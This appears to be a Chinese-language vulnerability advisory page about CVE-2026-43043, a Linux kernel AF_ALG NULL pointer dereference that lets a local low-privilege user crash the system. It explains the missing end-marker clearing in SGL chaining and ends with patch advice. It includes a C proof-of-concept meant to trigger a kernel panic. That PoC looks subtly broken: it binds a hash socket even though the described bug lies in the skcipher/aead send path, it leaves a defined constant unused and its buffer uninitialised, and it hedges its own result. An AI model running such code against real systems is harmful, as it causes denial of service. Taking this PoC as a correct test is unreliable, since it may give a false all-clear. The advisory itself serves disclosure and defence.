IPBUF安全漏洞报告
English
CVE-2026-43043 CVSS 5.5 中危

CVE-2026-43043: Linux内核AF_ALG空指针解引用漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43043
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel空指针解引用拒绝服务本地漏洞AF_ALG

漏洞概述

Linux内核中的AF_ALG接口存在一处空指针解引用漏洞,该漏洞源于Scatter/Gather List (SGL) 链接处理逻辑的缺陷。当使用sendmsg()填充SGL至最大条目数MAX_SGL_ENTS时,末尾会被标记为结束。若后续sendmsg()分配新SGL并链接,却未清除前一个SGL的结束标记,将导致scatterwalk提前终止并返回NULL指针。内核在解引用该指针时会触发崩溃,攻击者可利用此漏洞造成本地系统拒绝服务。

技术细节

该漏洞位于Linux内核的crypto子系统中,具体涉及AF_ALG接口的实现。漏洞触发原理如下:在处理加密数据时,内核使用Scatter/Gather List (SGL) 管理内存。当通过sendmsg()发送的数据量恰好填满当前SGL(达到MAX_SGL_ENTS)时,系统会将其最后一个条目标记为结束。随后,当有更多数据到来时,内核会分配新的SGL结构,并使用sg_chain()将其链接到旧SGL。然而,在af_alg_alloc_tsgl函数中,代码执行sg_chain()时遗漏了清除旧SGL结束标记的操作。

这种遗漏导致后续的scatterwalk遍历逻辑误判链表终点,sg_next()函数返回NULL。当内核尝试访问该NULL指针时,会立即触发异常,导致Kernel Panic。攻击者无需用户交互,仅需本地低权限即可触发此漏洞,其CVSS 3.1评分为5.5,主要影响系统的可用性(A:H),可能导致关键服务中断。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者获取本地系统的低权限用户访问权限(PR:L)。
STEP 2
步骤2:创建恶意套接字
攻击者编写并运行程序,通过AF_ALG接口创建加密套接字。
STEP 3
步骤3:触发SGL链式缺陷
程序连续调用sendmsg()发送数据,精确控制数据量以填满当前SGL并强制分配新的SGL结构,触发链接逻辑缺陷。
STEP 4
步骤4:导致内核崩溃
内核scatterwalk因未清除的结束标记而访问NULL指针,触发Kernel Panic,导致系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-43043: Linux Kernel AF_ALG NULL Pointer Dereference // This code attempts to trigger the scatterwalk crash by filling SGL exactly. // Compile: gcc -o poc_cve2026_43043 poc_cve2026_43043.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define MAX_SGL_ENTS 128 // Assuming default max entries based on kernel code logic int main() { int fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "sha256" }; char buf[4096]; // Buffer size int i; // Create AF_ALG socket fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket"); return 1; } // Bind to algorithm if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(fd); return 1; } // Accept connection int opfd = accept(fd, NULL, 0); if (opfd < 0) { perror("accept"); close(fd); return 1; } printf("Triggering SGL chaining bug...\n"); // Loop to send data and trigger the allocation/chaining logic for (i = 0; i < 1000; i++) { if (send(opfd, buf, sizeof(buf), 0) < 0) { perror("send"); break; } } printf("If vulnerable, kernel panic might occur.\n"); close(opfd); close(fd); return 0; }

影响范围

Linux Kernel (受影响版本请参考Git提交记录)

防御指南

临时缓解措施
建议立即应用官方发布的内核补丁,修复af_alg_alloc_tsgl函数中的逻辑错误,确保在链式连接SGL时正确清除结束标记。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表